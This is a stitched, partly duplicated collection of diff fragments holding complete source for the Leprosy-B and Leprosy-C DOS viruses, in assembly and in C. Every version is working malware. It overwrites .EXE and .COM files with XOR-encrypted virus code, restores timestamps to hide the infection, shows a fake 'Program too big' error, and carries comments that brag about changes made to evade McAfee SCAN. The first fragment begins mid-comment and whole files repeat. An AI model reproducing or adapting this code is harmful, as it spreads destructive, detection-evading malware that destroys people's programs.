;; I make to this program will have a double semicolon (;;) on
;; them somewhere. This is to reinforce the fact that I DID
;; NOT do the original work on this virus. That credit is left
;; appropriately to PCM2. And I respect his brilliance in its
;; coding (especially the encrypt/decrypt portion!) <grin!>
;; L8r peepz!
;;
title "Leprosy-C Virus by PCM2, August 1990"
;; With additional modifications by TBSI, June 1991
cr equ 13 ; Carriage return ASCII code
lf equ 10 ; Linefeed ASCII code
tab equ 9 ; Tab ASCII code
virus_size equ 666 ; Size of the virus file
code_start equ 100h ; Address right after PSP in memory
dta equ 80h ; Addr of default disk transfer area
datestamp equ 24 ; Offset in DTA of file's date stamp
timestamp equ 22 ; Offset in DTA of file's time stamp
filename equ 30 ; Offset in DTA of ASCIIZ filename
attribute equ 21 ; Offset in DTA of file attribute
code segment 'code' ; Open code segment
assume cs:code,ds:code ; One segment for both code & data
org code_start ; Start code image after PSP
;---------------------------------------------------------------------
; All executable code is contained in boundaries of procedure "main".
; The following code, until the start of "virus_code", is the non-
; encrypted CMT portion of the code to load up the real program.
;---------------------------------------------------------------------
main proc near ; Code execution begins here
call encrypt_decrypt ; Decrypt the real virus code
jmp random_mutation ; Put the virus into action
db 0 ;; This line inserted by TBSI. If
;; McPhee uses the second technique
;; described in my speech, then it
;; will find the zero and consider
;; it to be the value it wants, even
;; though using a zero will make it
;; do absolutely NOTHING!
encrypt_val db 00h ; Hold value to encrypt by here
; ---------- Encrypt, save, and restore the virus code -----------
infect_file:
mov bx,handle ; Get the handle
push bx ; Save it on the stack
call encrypt_decrypt ; Encrypt most of the code
pop bx ; Get back the handle
nop ;; Added by TBSI to through of McPhee
mov cx,virus_size ; Total number of bytes to write
mov dx,code_start ; Buffer where code starts in memory
mov ah,40h ; DOS write-to-handle service
int 21h ; Write the virus code into the file
call encrypt_decrypt ; Restore the code as it was
ret ; Go back to where you came from
; --------------- Encrypt or decrypt the virus code ----------------
encrypt_decrypt:
mov bx,offset virus_code ; Get address to start encrypt/decrypt
xor_loop: ; Start cycle here
mov ah,[bx] ; Get the current byte
xor ah,encrypt_val ; Engage/disengage XOR scheme on it
mov [bx],ah ; Put it back where we got it
inc bx ; Move BX ahead a byte
nop ;; Added by TBSI to through of McPhee
cmp bx,offset virus_code+virus_size ; Are we at the end?
jle xor_loop ; If not, do another cycle
ret ; and go back where we came from
;-----------------------------------------------------------------------
; The rest of the code from here on remains encrypted until run-time,
; using a fundamental XOR technique that changes via CMT.
;-----------------------------------------------------------------------
virus_code:
;----------------------------------------------------------------------------
; All strings are kept here in the file, and automatically encrypted.
; Please don't be a lamer and change the strings and say you wrote a virus.
; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
; changes, even when the strings stay the same.
;----------------------------------------------------------------------------
exe_filespec db "*.EXE",0
com_filespec db "*.COM",0
newdir db "..",0
fake_msg db cr,lf,"Program too big to fit in memory$"
virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$"
virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$"
virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
compare_buf db 20 dup (?) ; Buffer to compare files in
files_found db ?
files_infected db ?
orig_time dw ?
orig_date dw ?
orig_attr dw ?
handle dw ?
success db ?
random_mutation: ; First decide if virus is to mutate
mov ah,2ch ; Set up DOS function to get time
int 21h
cmp encrypt_val,0 ; Is this a first-run virus copy?
je install_val ; If so, install whatever you get.
cmp dh,15 ; Is it less than 16 seconds?
jg find_extension ; If not, don't mutate this time
install_val:
cmp dl,0 ; Will we be encrypting using zero?
je random_mutation ; If so, get a new value.
mov encrypt_val,dl ; Otherwise, save the new value
find_extension: ; Locate file w/ valid extension
mov files_found,0 ; Count infected files found
mov files_infected,4 ; BX counts file infected so far
mov success,0
find_exe:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset exe_filespec ; Check for .EXE extension first
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je find_com ; If not, nothing more to do
call find_healthy ; Otherwise, try to find healthy .EXE
find_com:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset com_filespec ; Check for .COM extension now
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je chdir ; If not, step back a directory
call find_healthy ; Otherwise, try to find healthy .COM
chdir: ; Routine to step back one level
mov dx,offset newdir ; Load DX with address of pathname
mov ah,3bh ; Change directory DOS service
int 21h
dec files_infected ; This counts as infecting a file
jnz find_exe ; If we're still rolling, find another
jmp exit_virus ; Otherwise let's pack it up
find_healthy:
mov bx,dta ; Point BX to address of DTA
mov ax,[bx]+attribute ; Get the current file's attribute
mov orig_attr,ax ; Save it
mov ax,[bx]+timestamp ; Get the current file's time stamp
mov orig_time,ax ; Save it
mov ax,[bx]+datestamp ; Get the current file's data stamp
mov orig_date,ax ; Save it
mov dx,dta+filename ; Get the filename to change attribute
mov cx,0 ; Clear all attribute bytes
mov al,1 ; Set attribute sub-function
mov ah,43h ; Call DOS service to do it
int 21h
mov al,2 ; Set up to open handle for read/write
mov ah,3dh ; Open file handle DOS service
int 21h
mov handle,ax ; Save the file handle
mov bx,ax ; Transfer the handle to BX for read
mov cx,20 ; Read in the top 20 bytes of file
mov dx,offset compare_buf ; Use the small buffer up top
mov ah,3fh ; DOS read-from-handle service
int 21h
mov bx,offset compare_buf ; Adjust the encryption value
mov ah,encrypt_val ; for accurate comparison
mov [bx+6],ah
mov si,code_start ; One array to compare is this file
mov di,offset compare_buf ; The other array is the buffer
mov ax,ds ; Transfer the DS register...
mov es,ax ; ...to the ES register
cld
repe cmpsb ; Compare the buffer to the virus
jne healthy ; If different, the file is healthy!
call close_file ; Close it up otherwise
inc files_found ; Chalk up another fucked up file
continue_search:
mov ah,4fh ; Find next DOS function
int 21h ; Try to find another same type file
cmp ax,12h ; Are there any more files?
je no_more_found ; If not, get outta here
jmp find_healthy ; If so, try the process on this one!
no_more_found:
ret ; Go back to where we came from
healthy:
mov bx,handle ; Get the file handle
mov ah,3eh ; Close it for now
int 21h
mov ah,3dh ; Open it again, to reset it
mov dx,dta+filename
mov al,2
int 21h
mov handle,ax ; Save the handle again
call infect_file ; Infect the healthy file
call close_file ; Close down this operation
inc success ; Indicate we did something this time
dec files_infected ; Scratch off another file on agenda
jz exit_virus ; If we're through, terminate
jmp continue_search ; Otherwise, try another
ret
close_file:
mov bx,handle ; Get the file handle off the stack
mov cx,orig_time ; Get the date stamp
mov dx,orig_date ; Get the time stamp
mov al,1 ; Set file date/time sub-service
mov ah,57h ; Get/Set file date and time service
int 21h ; Call DOS
mov bx,handle
mov ah,3eh ; Close handle DOS service
int 21h
mov cx,orig_attr ; Get the file's original attribute
mov al,1 ; Instruct DOS to put it back there
mov dx,dta+filename ; Feed it the filename
mov ah,43h ; Call DOS
int 21h
ret
exit_virus:
cmp files_found,6 ; Are at least 6 files infected?
jl print_fake ; If not, keep a low profile
cmp success,0 ; Did we infect anything?
jg print_fake ; If so, cover it up
mov ah,09h ; Use DOS print string service
mov dx,offset virus_msg1 ; Load the address of the first line
int 21h ; Print it
mov dx,offset virus_msg2 ; Load the second line
int 21h ; (etc)
mov dx,offset virus_msg3
int 21h
mov dx,offset virus_msg4
int 21h
jmp terminate
print_fake:
mov ah,09h ; Use DOS to print fake error message
mov dx,offset fake_msg
int 21h
terminate:
mov ah,4ch ; DOS terminate process function
int 21h ; Call DOS to get out of this program
filler db 8 dup (90h) ; Pad out the file length to 666 bytes
main endp
code ends
end main

@@ -0,0 +1,217 @@
/* This file is part of the source code to the LEPROSY Virus 1.00
Copy-ya-right (c) 1990 by PCM2. This program can cause destruction
of files; you're warned, the author assumes no responsibility
for damage this program causes, incidental or otherwise. This
program is not intended for general distribution -- irresponsible
users should not be allowed access to this program, or its
accompanying files. (Unlike people like us, of course...)
*/
#pragma inline
#define CRLF "\x17\x14" /* CR/LF combo encrypted. */
#define NO_MATCH 0x12 /* No match in wildcard search. */
/* The following strings are not garbled; they are all encrypted */
/* using the simple technique of adding the integer value 10 to */
/* each character. They are automatically decrypted by */
/* 'print_s()', the function which sends the strings to 'stdout' */
/* using DOS service 09H. All are terminated with a dollar-sign */
/* "$" as per DOS service specifications. */
char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.";
char *virus_msg[3] =
{
CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
};
struct _dta /* Disk Transfer Area format for find. */
{
char findnext[21];
char attribute;
int timestamp;
int datestamp;
long filesize;
char filename[13];
} *dta = (struct _dta *) 0x80; /* Set it to default DTA. */
const char filler[] = "XX"; /* Pad file length to 666 bytes. */
const char *codestart = (char *) 0x100; /* Memory where virus code begins. */
const int virus_size = 666; /* The size in bytes of the virus code. */
const int infection_rate = 4; /* How many files to infect per run. */
char compare_buf[20]; /* Load program here to test infection. */
int handle; /* The current file handle being used. */
int datestamp, timestamp; /* Store original date and time here. */
char diseased_count = 0; /* How many infected files found so far. */
char success = 0; /* How many infected this run. */
/* The following are function prototypes, in keeping with ANSI */
/* Standard C, for the support functions of this program. */
int find_first( char *fn );
int find_healthy( void );
int find_next( void );
int healthy( void );
void infect( void );
void close_handle( void );
void open_handle( char *fn );
void print_s( char *s );
void restore_timestamp( void );
/*----------------------------------*/
/* M A I N P R O G R A M */
/*----------------------------------*/
int main( void ) {
int x = 0;
do {
if ( find_healthy() ) { /* Is there an un-infected file? */
infect(); /* Well, then infect it! */
x++; /* Add one to the counter. */
success++; /* Carve a notch in our belt. */
}
else { /* If there ain't a file here... */
_DX = (int) ".."; /* See if we can step back to */
_AH = 0x3b; /* the parent directory, and try */
asm int 21H; /* there. */
x++; /* Increment the counter anyway, to */
} /* avoid infinite loops. */
} while( x < infection_rate ); /* Do this until we've had enough. */
if ( success ) /* If we got something this time, */
print_s( fake_msg ); /* feed 'em the phony error line. */
else
if ( diseased_count > 6 ) /* If we found 6+ infected files */
for( x = 0; x < 3; x++ ) /* along the way, laugh!! */
print_s( virus_msg[x] );
else
print_s( fake_msg ); /* Otherwise, keep a low profile. */
return;
}
void infect( void ) {
_DX = (int) dta->filename; /* DX register points to filename. */
_CX = 0x00; /* No attribute flags are set. */
_AL = 0x01; /* Use Set Attribute sub-function. */
_AH = 0x43; /* Assure access to write file. */
asm int 21H; /* Call DOS interrupt. */
open_handle( dta->filename ); /* Re-open the healthy file. */
_BX = handle; /* BX register holds handle. */
_CX = virus_size; /* Number of bytes to write. */
_DX = (int) codestart; /* Write program code. */
_AH = 0x40; /* Set up and call DOS. */
asm int 21H;
restore_timestamp(); /* Keep original date & time. */
close_handle(); /* Close file. */
return;
}
int find_healthy( void ) {
if ( find_first("*.EXE") != NO_MATCH ) /* Find EXE? */
if ( healthy() ) /* If it's healthy, OK! */
return 1;
else
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
if ( healthy() )
return 1; /* If you find one, great! */
if ( find_first("*.COM") != NO_MATCH ) /* Find COM? */
if ( healthy() ) /* If it's healthy, OK! */
return 1;
else
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
if ( healthy() )
return 1; /* If you find one, great! */
return 0; /* Otherwise, say so. */
}
int healthy( void ) {
int i;
datestamp = dta->datestamp; /* Save time & date for later. */
timestamp = dta->timestamp;
open_handle( dta->filename ); /* Open last file located. */
_BX = handle; /* BX holds current file handle. */
_CX = 20; /* We only want a few bytes. */
_DX = (int) compare_buf; /* DX points to the scratch buffer. */
_AH = 0x3f; /* Read in file for comparison. */
asm int 21H;
restore_timestamp(); /* Keep original date & time. */
close_handle(); /* Close the file. */
for ( i = 0; i < 20; i++ ) /* Compare to virus code. */
if ( compare_buf[i] != *(codestart+i) )
return 1; /* If no match, return healthy. */
diseased_count++; /* Chalk up one more fucked file. */
return 0; /* Otherwise, return infected. */
}
void restore_timestamp( void ) {
_AL = 0x01; /* Keep original date & time. */
_BX = handle; /* Same file handle. */
_CX = timestamp; /* Get time & date from DTA. */
_DX = datestamp;
_AH = 0x57; /* Do DOS service. */
asm int 21H;
return;
}
void print_s( char *s ) {
char *p = s;
while ( *p ) { /* Subtract 10 from every character. */
*p -= 10;
p++;
}
_DX = (int) s; /* Set DX to point to adjusted string. */
_AH = 0x09; /* Set DOS function number. */
asm int 21H; /* Call DOS interrupt. */
return;
}
int find_first( char *fn ) {
_DX = (int) fn; /* Point DX to the file name. */
_CX = 0xff; /* Search for all attributes. */
_AH = 0x4e; /* 'Find first' DOS service. */
asm int 21H; /* Go, DOS, go. */
return _AX; /* Return possible error code. */
}
int find_next( void ) {
_AH = 0x4f; /* 'Find next' function. */
asm int 21H; /* Call DOS. */
return _AX; /* Return any error code. */
}
void open_handle( char *fn ) {
_DX = (int) fn; /* Point DX to the filename. */
_AL = 0x02; /* Always open for both read & write. */
_AH = 0x3d; /* "Open handle" service. */
asm int 21H; /* Call DOS. */
handle = _AX; /* Assume handle returned OK. */
return;
}
void close_handle( void ) {
_BX = handle; /* Load BX register w/current file handle. */
_AH = 0x3e; /* Set up and call DOS service. */
asm int 21H;
return;
}

+216
View File
@@ -0,0 +1,216 @@
/* This file is part of the source code to the LEPROSY Virus 1.00
Copy-ya-right (c) 1990 by PCM2. This program can cause destruction
of files; you're warned, the author assumes no responsibility
for damage this program causes, incidental or otherwise. This
program is not intended for general distribution -- irresponsible
users should not be allowed access to this program, or its
accompanying files. (Unlike people like us, of course...)
*/
#pragma inline
#define CRLF "\x17\x14" /* CR/LF combo encrypted. */
#define NO_MATCH 0x12 /* No match in wildcard search. */
/* The following strings are not garbled; they are all encrypted */
/* using the simple technique of adding the integer value 10 to */
/* each character. They are automatically decrypted by */
/* 'print_s()', the function which sends the strings to 'stdout' */
/* using DOS service 09H. All are terminated with a dollar-sign */
/* "$" as per DOS service specifications. */
char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.";
char *virus_msg[3] =
{
CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
};
struct _dta /* Disk Transfer Area format for find. */
{
char findnext[21];
char attribute;
int timestamp;
int datestamp;
long filesize;
char filename[13];
} *dta = (struct _dta *) 0x80; /* Set it to default DTA. */
const char filler[] = "XX"; /* Pad file length to 666 bytes. */
const char *codestart = (char *) 0x100; /* Memory where virus code begins. */
const int virus_size = 666; /* The size in bytes of the virus code. */
const int infection_rate = 4; /* How many files to infect per run. */
char compare_buf[20]; /* Load program here to test infection. */
int handle; /* The current file handle being used. */
int datestamp, timestamp; /* Store original date and time here. */
char diseased_count = 0; /* How many infected files found so far. */
char success = 0; /* How many infected this run. */
/* The following are function prototypes, in keeping with ANSI */
/* Standard C, for the support functions of this program. */
int find_first( char *fn );
int find_healthy( void );
int find_next( void );
int healthy( void );
void infect( void );
void close_handle( void );
void open_handle( char *fn );
void print_s( char *s );
void restore_timestamp( void );
/*----------------------------------*/
/* M A I N P R O G R A M */
/*----------------------------------*/
int main( void ) {
int x = 0;
do {
if ( find_healthy() ) { /* Is there an un-infected file? */
infect(); /* Well, then infect it! */
x++; /* Add one to the counter. */
success++; /* Carve a notch in our belt. */
}
else { /* If there ain't a file here... */
_DX = (int) ".."; /* See if we can step back to */
_AH = 0x3b; /* the parent directory, and try */
asm int 21H; /* there. */
x++; /* Increment the counter anyway, to */
} /* avoid infinite loops. */
} while( x < infection_rate ); /* Do this until we've had enough. */
if ( success ) /* If we got something this time, */
print_s( fake_msg ); /* feed 'em the phony error line. */
else
if ( diseased_count > 6 ) /* If we found 6+ infected files */
for( x = 0; x < 3; x++ ) /* along the way, laugh!! */
print_s( virus_msg[x] );
else
print_s( fake_msg ); /* Otherwise, keep a low profile. */
return;
}
void infect( void ) {
_DX = (int) dta->filename; /* DX register points to filename. */
_CX = 0x00; /* No attribute flags are set. */
_AL = 0x01; /* Use Set Attribute sub-function. */
_AH = 0x43; /* Assure access to write file. */
asm int 21H; /* Call DOS interrupt. */
open_handle( dta->filename ); /* Re-open the healthy file. */
_BX = handle; /* BX register holds handle. */
_CX = virus_size; /* Number of bytes to write. */
_DX = (int) codestart; /* Write program code. */
_AH = 0x40; /* Set up and call DOS. */
asm int 21H;
restore_timestamp(); /* Keep original date & time. */
close_handle(); /* Close file. */
return;
}
int find_healthy( void ) {
if ( find_first("*.EXE") != NO_MATCH ) /* Find EXE? */
if ( healthy() ) /* If it's healthy, OK! */
return 1;
else
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
if ( healthy() )
return 1; /* If you find one, great! */
if ( find_first("*.COM") != NO_MATCH ) /* Find COM? */
if ( healthy() ) /* If it's healthy, OK! */
return 1;
else
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
if ( healthy() )
return 1; /* If you find one, great! */
return 0; /* Otherwise, say so. */
}
int healthy( void ) {
int i;
datestamp = dta->datestamp; /* Save time & date for later. */
timestamp = dta->timestamp;
open_handle( dta->filename ); /* Open last file located. */
_BX = handle; /* BX holds current file handle. */
_CX = 20; /* We only want a few bytes. */
_DX = (int) compare_buf; /* DX points to the scratch buffer. */
_AH = 0x3f; /* Read in file for comparison. */
asm int 21H;
restore_timestamp(); /* Keep original date & time. */
close_handle(); /* Close the file. */
for ( i = 0; i < 20; i++ ) /* Compare to virus code. */
if ( compare_buf[i] != *(codestart+i) )
return 1; /* If no match, return healthy. */
diseased_count++; /* Chalk up one more fucked file. */
return 0; /* Otherwise, return infected. */
}
void restore_timestamp( void ) {
_AL = 0x01; /* Keep original date & time. */
_BX = handle; /* Same file handle. */
_CX = timestamp; /* Get time & date from DTA. */
_DX = datestamp;
_AH = 0x57; /* Do DOS service. */
asm int 21H;
return;
}
void print_s( char *s ) {
char *p = s;
while ( *p ) { /* Subtract 10 from every character. */
*p -= 10;
p++;
}
_DX = (int) s; /* Set DX to point to adjusted string. */
_AH = 0x09; /* Set DOS function number. */
asm int 21H; /* Call DOS interrupt. */
return;
}
int find_first( char *fn ) {
_DX = (int) fn; /* Point DX to the file name. */
_CX = 0xff; /* Search for all attributes. */
_AH = 0x4e; /* 'Find first' DOS service. */
asm int 21H; /* Go, DOS, go. */
return _AX; /* Return possible error code. */
}
int find_next( void ) {
_AH = 0x4f; /* 'Find next' function. */
asm int 21H; /* Call DOS. */
return _AX; /* Return any error code. */
}
void open_handle( char *fn ) {
_DX = (int) fn; /* Point DX to the filename. */
_AL = 0x02; /* Always open for both read & write. */
_AH = 0x3d; /* "Open handle" service. */
asm int 21H; /* Call DOS. */
handle = _AX; /* Assume handle returned OK. */
return;
}
void close_handle( void ) {
_BX = handle; /* Load BX register w/current file handle. */
_AH = 0x3e; /* Set up and call DOS service. */
asm int 21H;
return;
}
@@ -0,0 +1,242 @@
; <LEPROSYB.ASM> - Leprosy-B Virus Source
; Copy-ya-right (c) 1990 by PCM2.
;
; This file is the source code to the Leprosy-B virus. It should
; be assembled with an MASM-compatible assembler; it has been tested
; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
; It should be made into a .COM file before executing, with either
; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
;
; This program has the potential to permanently destroy executable
; images on any disk medium. Other modifications may have been made
; subsequent to the original release by the author, either benign,
; or which could result in further harm should this program be run.
; In any case, the author assumes no responsibility for any damage
; caused by this program, incidental or otherwise. As a precaution,
; this program should not be turned over to irresponsible hands...
; (unlike people like us, that is).
title "Leprosy-B Virus by PCM2, August 1990"
cr equ 13 ; Carriage return ASCII code
lf equ 10 ; Linefeed ASCII code
tab equ 9 ; Tab ASCII code
virus_size equ 666 ; Size of the virus file
code_start equ 100h ; Address right after PSP in memory
dta equ 80h ; Addr of default disk transfer area
datestamp equ 24 ; Offset in DTA of file's date stamp
timestamp equ 22 ; Offset in DTA of file's time stamp
filename equ 30 ; Offset in DTA of ASCIIZ filename
attribute equ 21 ; Offset in DTA of file attribute
code segment 'code' ; Open code segment
assume cs:code,ds:code ; One segment for both code & data
org code_start ; Start code image after PSP
;---------------------------------------------------------------------
; All executable code is contained in boundaries of procedure "main".
; The following code, until the start of "virus_code", is the non-
; encrypted CMT portion of the code to load up the real program.
;---------------------------------------------------------------------
main proc near ; Code execution begins here
call encrypt_decrypt ; Decrypt the real virus code
jmp random_mutation ; Put the virus into action
encrypt_val db 00h ; Hold value to encrypt by here
; ---------- Encrypt, save, and restore the virus code -----------
infect_file:
mov bx,handle ; Get the handle
push bx ; Save it on the stack
call encrypt_decrypt ; Encrypt most of the code
pop bx ; Get back the handle
mov cx,virus_size ; Total number of bytes to write
mov dx,code_start ; Buffer where code starts in memory
mov ah,40h ; DOS write-to-handle service
int 21h ; Write the virus code into the file
call encrypt_decrypt ; Restore the code as it was
ret ; Go back to where you came from
; --------------- Encrypt or decrypt the virus code ----------------
encrypt_decrypt:
mov bx,offset virus_code ; Get address to start encrypt/decrypt
xor_loop: ; Start cycle here
mov ah,[bx] ; Get the current byte
xor ah,encrypt_val ; Engage/disengage XOR scheme on it
mov [bx],ah ; Put it back where we got it
inc bx ; Move BX ahead a byte
cmp bx,offset virus_code+virus_size ; Are we at the end?
jle xor_loop ; If not, do another cycle
ret ; and go back where we came from
;-----------------------------------------------------------------------
; The rest of the code from here on remains encrypted until run-time,
; using a fundamental XOR technique that changes via CMT.
;-----------------------------------------------------------------------
virus_code:
;----------------------------------------------------------------------------
; All strings are kept here in the file, and automatically encrypted.
; Please don't be a lamer and change the strings and say you wrote a virus.
; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
; changes, even when the strings stay the same.
;----------------------------------------------------------------------------
exe_filespec db "*.EXE",0
com_filespec db "*.COM",0
newdir db "..",0
fake_msg db cr,lf,"Program too big to fit in memory$"
virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$"
virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$"
virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
compare_buf db 20 dup (?) ; Buffer to compare files in
files_found db ?
files_infected db ?
orig_time dw ?
orig_date dw ?
orig_attr dw ?
handle dw ?
success db ?
random_mutation: ; First decide if virus is to mutate
mov ah,2ch ; Set up DOS function to get time
int 21h
cmp encrypt_val,0 ; Is this a first-run virus copy?
je install_val ; If so, install whatever you get.
cmp dh,15 ; Is it less than 16 seconds?
jg find_extension ; If not, don't mutate this time
install_val:
cmp dl,0 ; Will we be encrypting using zero?
je random_mutation ; If so, get a new value.
mov encrypt_val,dl ; Otherwise, save the new value
find_extension: ; Locate file w/ valid extension
mov files_found,0 ; Count infected files found
mov files_infected,4 ; BX counts file infected so far
mov success,0
find_exe:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset exe_filespec ; Check for .EXE extension first
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je find_com ; If not, nothing more to do
call find_healthy ; Otherwise, try to find healthy .EXE
find_com:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset com_filespec ; Check for .COM extension now
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je chdir ; If not, step back a directory
call find_healthy ; Otherwise, try to find healthy .COM
chdir: ; Routine to step back one level
mov dx,offset newdir ; Load DX with address of pathname
mov ah,3bh ; Change directory DOS service
int 21h
dec files_infected ; This counts as infecting a file
jnz find_exe ; If we're still rolling, find another
jmp exit_virus ; Otherwise let's pack it up
find_healthy:
mov bx,dta ; Point BX to address of DTA
mov ax,[bx]+attribute ; Get the current file's attribute
mov orig_attr,ax ; Save it
mov ax,[bx]+timestamp ; Get the current file's time stamp
mov orig_time,ax ; Save it
mov ax,[bx]+datestamp ; Get the current file's data stamp
mov orig_date,ax ; Save it
mov dx,dta+filename ; Get the filename to change attribute
mov cx,0 ; Clear all attribute bytes
mov al,1 ; Set attribute sub-function
mov ah,43h ; Call DOS service to do it
int 21h
mov al,2 ; Set up to open handle for read/write
mov ah,3dh ; Open file handle DOS service
int 21h
mov handle,ax ; Save the file handle
mov bx,ax ; Transfer the handle to BX for read
mov cx,20 ; Read in the top 20 bytes of file
mov dx,offset compare_buf ; Use the small buffer up top
mov ah,3fh ; DOS read-from-handle service
int 21h
mov bx,offset compare_buf ; Adjust the encryption value
mov ah,encrypt_val ; for accurate comparison
mov [bx+6],ah
mov si,code_start ; One array to compare is this file
mov di,offset compare_buf ; The other array is the buffer
mov ax,ds ; Transfer the DS register...
mov es,ax ; ...to the ES register
cld
repe cmpsb ; Compare the buffer to the virus
jne healthy ; If different, the file is healthy!
call close_file ; Close it up otherwise
inc files_found ; Chalk up another fucked up file
continue_search:
mov ah,4fh ; Find next DOS function
int 21h ; Try to find another same type file
cmp ax,12h ; Are there any more files?
je no_more_found ; If not, get outta here
jmp find_healthy ; If so, try the process on this one!
no_more_found:
ret ; Go back to where we came from
healthy:
mov bx,handle ; Get the file handle
mov ah,3eh ; Close it for now
int 21h
mov ah,3dh ; Open it again, to reset it
mov dx,dta+filename
mov al,2
int 21h
mov handle,ax ; Save the handle again
call infect_file ; Infect the healthy file
call close_file ; Close down this operation
inc success ; Indicate we did something this time
dec files_infected ; Scratch off another file on agenda
jz exit_virus ; If we're through, terminate
jmp continue_search ; Otherwise, try another
ret
close_file:
mov bx,handle ; Get the file handle off the stack
mov cx,orig_time ; Get the date stamp
mov dx,orig_date ; Get the time stamp
mov al,1 ; Set file date/time sub-service
mov ah,57h ; Get/Set file date and time service
int 21h ; Call DOS
mov bx,handle
mov ah,3eh ; Close handle DOS service
int 21h
mov cx,orig_attr ; Get the file's original attribute
mov al,1 ; Instruct DOS to put it back there
mov dx,dta+filename ; Feed it the filename
mov ah,43h ; Call DOS
int 21h
ret
exit_virus:
cmp files_found,6 ; Are at least 6 files infected?
jl print_fake ; If not, keep a low profile
cmp success,0 ; Did we infect anything?
jg print_fake ; If so, cover it up
mov ah,09h ; Use DOS print string service
mov dx,offset virus_msg1 ; Load the address of the first line
int 21h ; Print it
mov dx,offset virus_msg2 ; Load the second line
int 21h ; (etc)
mov dx,offset virus_msg3
int 21h
mov dx,offset virus_msg4
int 21h
jmp terminate
print_fake:
mov ah,09h ; Use DOS to print fake error message
mov dx,offset fake_msg
int 21h
terminate:
mov ah,4ch ; DOS terminate process function
int 21h ; Call DOS to get out of this program
filler db 8 dup (90h) ; Pad out the file length to 666 bytes
main endp
code ends
end main
@@ -0,0 +1,297 @@
; <LEPROSYB.ASM> - Leprosy-B Virus Source
; Copy-ya-right (c) 1990 by PCM2.
;
; This file is the source code to the Leprosy-B virus. It should
; be assembled with an MASM-compatible assembler; it has been tested
; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
; It should be made into a .COM file before executing, with either
; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
;
; This program has the potential to permanently destroy executable
; images on any disk medium. Other modifications may have been made
; subsequent to the original release by the author, either benign,
; or which could result in further harm should this program be run.
; In any case, the author assumes no responsibility for any damage
; caused by this program, incidental or otherwise. As a precaution,
; this program should not be turned over to irresponsible hands...
; (unlike people like us, that is).
;
;;-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-=ð°±²Û²±°ð=-
;;
;; <LEPROSYC.ASM> - This virus is not really Leprosy-B. It is, in
;; fact, ALMOST the same. When I encountered the
;; source code and assembled it, I found, obviously
;; to my disappointment, that SCAN v77 could find
;; it. Since it is a self-encrypting virus, I knew
;; EXACTLY how to fix this problem (after all,
;; being part of McPhee's programs is a sure way to
;; know that your virus has been a big hit, but it
;; also means that it will soon meet a terrible end.
;; Presented with such a sad situation, I decided I
;; would modify the virus to give it one more shot
;; at the outside world. Not only that, but I will
;; make TWO new versions. This one, in particular,
;; will preserve the traditional length of 666, and
;; will only have a slight modification. You see,
;; since the virus encrypts itself, McPhee must go
;; on 1 or both of two paths. He must either use
;; the whole non-encrypted portion as an ID string,
;; or he must use the file offset where the value
;; for decrypting is normally stored, XOR it with
;; the rest of the program (this is how it encrypts
;; and decrypts itself), and then try to identify
;; the decrypted code as the virus. By changing
;; where the encryption value is stored in the non-
;; encrypted portion and putting a zero there in-
;; stead, (along with altering the primary instruc-
;; tions slightly), I have made it undetectable by
;; SCAN, despite the fact that it is (in all other
;; aspects) the same damn thing.
;; Have fun!
;; The BOOT SECTOR Infector...
;;
;; NOTE: Also, (in case you haven't already noticed) all of the changes
;; I make to this program will have a double semicolon (;;) on
;; them somewhere. This is to reinforce the fact that I DID
;; NOT do the original work on this virus. That credit is left
;; appropriately to PCM2. And I respect his brilliance in its
;; coding (especially the encrypt/decrypt portion!) <grin!>
;; L8r peepz!
;;
title "Leprosy-C Virus by PCM2, August 1990"
;; With additional modifications by TBSI, June 1991
cr equ 13 ; Carriage return ASCII code
lf equ 10 ; Linefeed ASCII code
tab equ 9 ; Tab ASCII code
virus_size equ 666 ; Size of the virus file
code_start equ 100h ; Address right after PSP in memory
dta equ 80h ; Addr of default disk transfer area
